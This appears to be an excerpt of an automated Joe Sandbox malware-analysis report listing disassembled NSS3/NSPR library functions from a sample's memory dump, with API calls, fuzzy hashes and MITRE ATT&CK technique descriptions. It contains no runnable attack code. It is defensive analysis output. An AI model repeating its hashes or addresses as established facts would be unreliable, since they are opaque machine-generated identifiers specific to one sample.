Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 099cec1b4d9b9212c4ad1893c7d270cc5a6238a54113b5e37f330fb305ada1db
Instruction ID: 5263bd13cb0da61c135dd307216fb77b627d2ca3dbe9d78115ccb6cae087afa4
Opcode Fuzzy Hash: 099cec1b4d9b9212c4ad1893c7d270cc5a6238a54113b5e37f330fb305ada1db
Instruction Fuzzy Hash: B6118F71605A149BD700AF78C4481A9BBF4FF4A314F01596ADC88D7700E730E864CBD6

Function 6C6BAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C6A5F17,?,?,?,?,?,?,?,?,6C6AAAD4), ref: 6C6BAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C6A5F17,?,?,?,?,?,?,?,?,6C6AAAD4), ref: 6C6BACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C6AAAD4), ref: 6C6BACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C6AAAD4), ref: 6C6BACDB

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: a97a4ea5741a3fe1ef87d0ccdb24ae9fffde41a1a228433f78e111439fcc3d1c
Instruction ID: 60b6bc88bffdab9164612ba3bec803c4948ff597046f9256485ecf1f21a3abd0
Opcode Fuzzy Hash: a97a4ea5741a3fe1ef87d0ccdb24ae9fffde41a1a228433f78e111439fcc3d1c
Instruction Fuzzy Hash: EF015EB1711B019BEB50DF2AD908767B7E8BF00759B104839D85AD3E01E731F464CB95

Function 6C621DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C621DFB

Part of subcall function 6C6195B0: TlsGetValue.KERNEL32(00000000,?,6C6300D2,00000000), ref: 6C6195D2
Part of subcall function 6C6195B0: EnterCriticalSection.KERNEL32(?,?,?,6C6300D2,00000000), ref: 6C6195E7
Part of subcall function 6C6195B0: PR_Unlock.NSS3(?,?,?,?,6C6300D2,00000000), ref: 6C619605

PR_EnterMonitor.NSS3 ref: 6C621E09

Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D90AB
Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D90C9
Part of subcall function 6C6D9090: EnterCriticalSection.KERNEL32 ref: 6C6D90E5
Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D9116
Part of subcall function 6C6D9090: LeaveCriticalSection.KERNEL32 ref: 6C6D913F

Part of subcall function 6C61E190: PR_EnterMonitor.NSS3(?,?,6C61E175), ref: 6C61E19C
Part of subcall function 6C61E190: PR_EnterMonitor.NSS3(6C61E175), ref: 6C61E1AA
Part of subcall function 6C61E190: PR_ExitMonitor.NSS3 ref: 6C61E208
Part of subcall function 6C61E190: PL_HashTableRemove.NSS3(?), ref: 6C61E219
Part of subcall function 6C61E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C61E231
Part of subcall function 6C61E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C61E249
Part of subcall function 6C61E190: PR_ExitMonitor.NSS3 ref: 6C61E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C621E37
PR_ExitMonitor.NSS3 ref: 6C621E4A

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: aa02d9947d22527e88520422cab0f5da0ace2d532f096944677786471d29e38f
Instruction ID: 9c2ceb810fe789a0df46979138c6e8e6760511a25144b69d764b8c5392843f00
Opcode Fuzzy Hash: aa02d9947d22527e88520422cab0f5da0ace2d532f096944677786471d29e38f
Instruction Fuzzy Hash: EC01DF71B08164A7EB004B29EC05F9277A4AB42B4CF100030E85997F91E737EC16CFAD

Function 6C621D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C621D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C621D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C621D9C
free.MOZGLUE(00000000), ref: 6C621DB8

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: fd22dbdd3b1455162d360c96dfe58030ddbe79b4a6e7032d33322f460dc0fa53
Instruction ID: be24e610fa7ffc0da2cc5c5cf53b0fe23f8a037ab0d46a8ce3bc76f4e0661dae
Opcode Fuzzy Hash: fd22dbdd3b1455162d360c96dfe58030ddbe79b4a6e7032d33322f460dc0fa53
Instruction Fuzzy Hash: 21F0F9B2609350D7FF201E196C41B8776D8AB81798F110A35ED1D87B44D672ED058AED

Function 6C66FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C619003,?), ref: 6C66FD91

Part of subcall function 6C670BE0: malloc.MOZGLUE(6C668D2D,?,00000000,?), ref: 6C670BF8
Part of subcall function 6C670BE0: TlsGetValue.KERNEL32(6C668D2D,?,00000000,?), ref: 6C670C15

PORT_Alloc_Util.NSS3(A4686C67,?), ref: 6C66FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C67,?,?), ref: 6C66FDC4
free.MOZGLUE(00000000,?,?), ref: 6C66FDD1

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 0d5d85c0e7f0f02a625a7142e387f6eb0f1fd45a5f8823e967ab027d74d385a9
Instruction ID: b318e9aed021002fbe5512d5c03a036ac2be83b90cf0ffe856bb4dc1e9c4736f
Opcode Fuzzy Hash: 0d5d85c0e7f0f02a625a7142e387f6eb0f1fd45a5f8823e967ab027d74d385a9
Instruction Fuzzy Hash: 3EF0C8B16012025BEB004B56DC80A277798EF45799B148074ED098AF01E722E814C7FB

Function 6C72CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C72CC61
free.MOZGLUE ref: 6C72CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C72CC80
free.MOZGLUE(?), ref: 6C72CC87

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 7800ca0584447f7c7241f63b350adb97f2a480ed8c2ee448c3e3c8f570f8b0a9
Instruction ID: 8524993c8dc212ab2246d3092df057ce0c52e878880c53673c05e8e7fa49726e
Opcode Fuzzy Hash: 7800ca0584447f7c7241f63b350adb97f2a480ed8c2ee448c3e3c8f570f8b0a9
Instruction Fuzzy Hash: 38E030767017089BCE10EFA9DC4489677ACEE493713150565E695C3700D231F905CBA1

Function 6C609DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C609E1F

Part of subcall function 6C5C13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C592352,?,00000000,?,?), ref: 6C5C1413
Part of subcall function 6C5C13C0: memcpy.VCRUNTIME140(00000000,R#Yl,00000002,?,?,?,?,6C592352,?,00000000,?,?), ref: 6C5C14C0

Strings

ESCAPE expression must be a single character, xrefs: 6C609F78
LIKE or GLOB pattern too complex, xrefs: 6C60A006

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 4c5a16156a30a73aa6f40eeb85dd61f682f07d756f05db126714e3e31b507c74
Instruction ID: e5e6a4eb4640db0f416209f488971a3df443df938c39ec307cb5354f3b358768
Opcode Fuzzy Hash: 4c5a16156a30a73aa6f40eeb85dd61f682f07d756f05db126714e3e31b507c74
Instruction Fuzzy Hash: D7811A70B042558BD708CF25C6803AAB7B3AF8531CF28C659D8A9ABB91D735DC87C784

Function 6C685860 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD037,00000000), ref: 6C6859C8

Part of subcall function 6C687EE0: PR_SetError.NSS3(00000000,00000000,00000002,?,?), ref: 6C687F30

PR_SetError.NSS3(FFFFD0AE,00000000), ref: 6C6859E9

Part of subcall function 6C68AA40: PR_SetError.NSS3(00000000,00000000,00000008,?,?), ref: 6C68AAA2

Strings

nrl, xrefs: 6C685963

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Error
String ID: nrl
API String ID: 2619118453-4163017231
Opcode ID: 2d49240955208f666b22f52eeda62c0ede2c43bddc080ac3dcced69723a01ac2
Instruction ID: 4f78016362d3ba71dc5c17dfc82ad9beb6f7a990f1aa1ccb046a683d943ea379
Opcode Fuzzy Hash: 2d49240955208f666b22f52eeda62c0ede2c43bddc080ac3dcced69723a01ac2
Instruction Fuzzy Hash: 8A41D4716093419FEB10DF14DC81B9673A8AB44328F444629FD5A9B682E770E908CBF9

Function 6C664D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C664D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C664DE6

Strings

%d.%d, xrefs: 6C664DDE

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 1e8b2eb774c86e1d71cfb0d8ba85660ad237f940d3e5b9ba5d8d30dbd21bab68
Instruction ID: 4d2465f7395daec3e1d87772ad31ca61d1ce42a48cfdf13067ec5518366cbaee
Opcode Fuzzy Hash: 1e8b2eb774c86e1d71cfb0d8ba85660ad237f940d3e5b9ba5d8d30dbd21bab68
Instruction Fuzzy Hash: 79312EB2D042186BEB109BA6DC11BFF77A8DF41308F010429ED155BB41EB709905CBAB

Function 6C684CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8hl,00000000,00000000,?,?,6C683827,?,00000000), ref: 6C684D0A

Part of subcall function 6C670840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6708B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C684D22

Part of subcall function 6C66FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C611A3E,00000048,00000054), ref: 6C66FD56

Strings

'8hl, xrefs: 6C684D07

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8hl
API String ID: 1521942269-3757650031
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 235501aea6a3412d04a4282fc070af3ed80d7812ca77cb3b3d6b1856cb611c05
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: F0F0683260222467DB204E6A9C5075336DC9B467FDF140271ED28CB781E6A1DC0086B9

Function 6C6AAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C6AAF78

Part of subcall function 6C60ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C60ACE2
Part of subcall function 6C60ACC0: malloc.MOZGLUE(00000001), ref: 6C60ACEC
Part of subcall function 6C60ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C60AD02
Part of subcall function 6C60ACC0: TlsGetValue.KERNEL32 ref: 6C60AD3C
Part of subcall function 6C60ACC0: calloc.MOZGLUE(00000001,?), ref: 6C60AD8C
Part of subcall function 6C60ACC0: PR_Unlock.NSS3 ref: 6C60ADC0
Part of subcall function 6C60ACC0: PR_Unlock.NSS3 ref: 6C60AE8C
Part of subcall function 6C60ACC0: free.MOZGLUE(?), ref: 6C60AEAB

memcpy.VCRUNTIME140(6C773084,6C7702AC,00000090), ref: 6C6AAF94

Strings

SSL, xrefs: 6C6AAF73

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 056402a9d52865b91eca8cfbad653d2446bf93608759ff7bc7996636179fa9e7
Instruction ID: 08f961eb6ce00897101a27135c1ae8789f65eee7ec96c780eabb8e7ef95fb66d
Opcode Fuzzy Hash: 056402a9d52865b91eca8cfbad653d2446bf93608759ff7bc7996636179fa9e7
Instruction Fuzzy Hash: 11217FB2305A6CAECA02DF91990B3627E72F7432087105178C15A4BB29D7324816DFFA

Function 6C600F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000,?,6C59204A), ref: 6C600F1B

Part of subcall function 6C601370: GetSystemInfo.KERNEL32(?,?,?,?,6C600936,?,6C600F20,6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000), ref: 6C60138F

PR_NewLogModule.NSS3(clock,6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000,?,6C59204A), ref: 6C600F25

Part of subcall function 6C601110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C600936,00000001,00000040), ref: 6C601130
Part of subcall function 6C601110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C600936,00000001,00000040), ref: 6C601142
Part of subcall function 6C601110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C600936,00000001), ref: 6C601167

Strings

clock, xrefs: 6C600F20

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: f851c576de87cdeec8f6c4edbf07eb7c1074ce0c4f28e35c96e99a4170dec4bb
Instruction ID: 3c805fd9458d568dd3efc9e83b34b6640c58b333bbaee2b2f6c121a5e81bf6fe
Opcode Fuzzy Hash: f851c576de87cdeec8f6c4edbf07eb7c1074ce0c4f28e35c96e99a4170dec4bb
Instruction Fuzzy Hash: 20D02231300158A1C11A22979D48B96B6ACC7C327EF004836F11811D000A2440DEC27D

Function 6C670DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C670DF5
TlsGetValue.KERNEL32 ref: 6C670E2D
TlsGetValue.KERNEL32 ref: 6C670E58
TlsGetValue.KERNEL32 ref: 6C670E84

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: c24f596f73ff7a8594c7703d3b98f11d7719ab5da57928ef6187b669e107df32
Instruction ID: 3850432dd8c58f9ce51038973c3572709c364315b4647b6105b7bd4b4bd296ef
Opcode Fuzzy Hash: c24f596f73ff7a8594c7703d3b98f11d7719ab5da57928ef6187b669e107df32
Instruction Fuzzy Hash: 4731C6B0645394CBDB206F38C5446A97BB4BF46349F114A7DD898C7A11EB36C086CBBA

Function 6C670F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C612AF5,?,?,?,?,?,6C610A1B,00000000), ref: 6C670F1A
malloc.MOZGLUE(00000001), ref: 6C670F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C670F42
TlsGetValue.KERNEL32 ref: 6C670F5B

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 13d8358d3d2ac84baa79b3fe389daf24d5b82288e63003df25c9fdb27efde1c3
Instruction ID: f755852751fa4a237bcfcc7402f736c4c100a96e4fc71578a3fdb61b6e66fabc
Opcode Fuzzy Hash: 13d8358d3d2ac84baa79b3fe389daf24d5b82288e63003df25c9fdb27efde1c3
Instruction Fuzzy Hash: B601F071F1025457E7202B3E9E085A67A6CEF53359F010575EC1CC2A11E739C445C6F6

Function 6C621EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C621ECE
free.MOZGLUE(?), ref: 6C621EDF
free.MOZGLUE(?), ref: 6C621EEF
free.MOZGLUE(?), ref: 6C621EF5

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b2f2a1a461594d5a44ad7bcaac85bbc244db2063b44fc66dedfbe26b5b04500e
Instruction ID: 023ee52e0edca76650061854869100a23d184e7306ad8fcb246eaea79d95d6ff
Opcode Fuzzy Hash: b2f2a1a461594d5a44ad7bcaac85bbc244db2063b44fc66dedfbe26b5b04500e
Instruction Fuzzy Hash: 48F0B4B17042016BEB00AB66DC45E6773ACFF453A5B140434EC5DC3A00D72AF8118AA5

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
